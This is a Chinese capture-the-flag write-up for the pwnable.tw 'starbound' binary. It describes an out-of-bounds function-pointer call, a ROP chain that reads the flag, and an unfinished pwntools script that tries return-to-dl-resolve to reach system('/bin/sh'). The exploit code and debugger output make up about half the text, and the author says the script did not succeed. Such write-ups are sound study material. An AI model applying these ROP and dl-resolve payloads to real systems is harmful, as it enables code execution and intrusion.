此题的代码量很大,看了一整天的逻辑代码,没发现什么问题...
整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数。
函数的漏洞主要在main函数中,main函数中使用了strtol函数将用户输入转换为字符串,并根据此转换结果,对子函数进行访问。
当用户输入过大或过小时,会导致越界访问的问题,其中,strtol函数的返回值可能为负数。
bss段中,用户输入的名称最开始是随机生成的,但用户可以更改。而此字段在函数指针数组上面,也就是说,用户可以通过控制名称的方式获得一次指令执行的机会
再查看一下安全保护机制
可以使用ROP的方式来利用漏洞。由于main函数中用户可以输入0x100长的字符给v5,因此,v5可作为ROP的存放位置,在name中找到一个gadget使得EIP跳转到位于栈上v5字段内即可。
由于此题没有附带libc,也没找到可以泄露地址的漏洞,因此在ROP中使用了在plt区域有的open、read、puts函数来打印flag,其中从dalao那里get的知识点是,read函数的第一个参数是一个int类型的值,
用于标识文件身份,其中0 : stdin、1:stdout、2:stderr,本题内没有打开未关闭的文件,因此read(3,&buf,0x10)完全可以读出flag。
另外,恰巧在最近接触到了return to dl-resolve的原理:http://www.freebuf.com/articles/system/149214.html
此题恰巧也符合使用该技术的先决条件,但貌似ld.so做了保护,没有成功,在网上没有找到相关的保护手段,通过调试发现ld.so以偏移量获取了程序.gnu.version的内容,进一步运算,但我构造的偏移量过大,
导致运算超出了可读写的范围,造成程序崩溃。暂未找到其他方法,此坑以后再填。
暂存未成功的return-to-dl-resolve代码:
from pwn import * debug = 1 context(arch='i386',os='linux',endian='little') context.log_level='debug' elf = ELF('./starbound') if debug: p=process('./starbound') file = '~/Desktop/pwn/tw/starbound/flag' else: p=remote('chall.pwnable.tw',10202) file = '/home/starbound/flag\0\0\0\0' file = '/bin/sh\0' + '\0'*(len(file)-len('/bin/sh\0')) gadget = 0x08048e48 bss_function = 0x08058150 bss_name = 0x080580D0 shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 print '[*] shellcode len ',len(shellcode) print '[*] ',hex(bss_name + len(shellcode) - 0x80481dc) shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12) distance3 = bss_name + len(shellcode) - 0x80484fc print '[*] ',hex(distance3) shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x000ff207) + 'a'*8 + p32(distance3)+p32(0)+p32(0)+p32(0x12) + 'system\x00' shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12) p.recvuntil('> ') p.send('6') p.recvuntil('> ') p.send('2') p.recvuntil(': ') p.sendline(shellcode) p.recvuntil('> ') distance = (bss_name + len(file) - bss_function)/4 #print str(distance) gdb.attach(p,'b *0x0804A65D') distance2 = bss_name + len(file) + 4 - 0x80487c8 cat_flag_exp = str(distance-1) + '\0' + 'a'*4 + p32(0x8048940) + p32(distance2) + p32(0xdeadbeef) + p32(bss_name) ''' + p32(elf.symbols['open']) + p32(gadget) + p32(bss_name) \ + p32(0)+ 'a'*(0x1c-8) + p32(elf.symbols['read']) + p32(gadget) + p32(3) + p32(bss_name+20) + p32(0x40) +'a'*(0x1c-12) + p32(elf.symbols['puts']) + p32(0xdeadbeef) + p32(bss_name+20) ''' ''' $ readelf -d starbound | grep JMPREL 0x00000017 (JMPREL) 0x80487c8 gdb-peda$ x /2x 0x80487c8+0x120 0x80488e8: 0x0805509c 0x00002807 readelf -d starbound | grep SYM 0x00000006 (SYMTAB) 0x80481dc 0x0000000b (SYMENT) 16 (bytes) 0x6ffffff0 (VERSYM) 0x80486f2 $ readelf -d starbound | grep STRTAB 0x00000005 (STRTAB) 0x80484fc ''' p.sendline(cat_flag_exp) p.interactive() #0x08048e48 : add esp, 0x1c ; ret